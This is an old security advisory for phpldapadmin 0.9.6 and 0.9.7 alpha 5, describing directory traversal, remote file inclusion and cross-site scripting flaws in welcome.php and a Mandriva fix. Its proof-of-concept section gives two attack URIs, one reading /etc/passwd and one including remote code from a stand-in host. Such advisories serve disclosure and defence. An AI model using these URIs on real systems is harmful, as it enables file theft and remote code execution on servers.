PHPLDAPAdmin Welcome.PHP Multiple Vulnerabilities

BID:14695

Info

PHPLDAPAdmin Welcome.PHP Multiple Vulnerabilities

Bugtraq ID: 14695
Class: Input Validation Error
CVE: CVE-2005-2792
CVE-2005-2793
Remote: Yes
Local: No
Published: Aug 30 2005 12:00AM
Updated: Jul 12 2009 05:06PM
Credit: rgod is credited with the discovery of this vulnerability.
Vulnerable: phpldapadmin phpldapadmin 0.9.7 alpha 5
phpldapadmin phpldapadmin 0.9.6
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
Not Vulnerable:

Discussion

PHPLDAPAdmin Welcome.PHP Multiple Vulnerabilities

phpldapadmin is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

phpldapadmin is prone to a directory traversal vulnerability. An attacker can exploit this vulnerability to retrieve arbitrary files on the vulnerable system in the security context of the Web server process. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

phpldapadmin is prone to a remote file include vulnerability. An attacker can exploit this vulnerability to execute arbitrary PHP script code in the security context of the Web server process.

phpldapadmin is also prone to a cross-site scripting vulnerability. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Exploit / POC

PHPLDAPAdmin Welcome.PHP Multiple Vulnerabilities

No exploit is required.

The following proof of concept URI are available:
http://www.example.com/phpldapadmin/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd
http://www.example.com/phpldapadmin/welcome.php?custom_welcome_page=http://www.example.com/[malicious code]

Johnnie Walker <whisky[at]bsdmail[d0t]org> has supplied the following exploit for the remote command execution vulnerability:

Solution / Fix

PHPLDAPAdmin Welcome.PHP Multiple Vulnerabilities

Solution:
Mandriva Security Advisory MDKSA-2005:212 has been released to address this issue; please see the referenced advisory for further information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PHPLDAPAdmin Welcome.PHP Multiple Vulnerabilities

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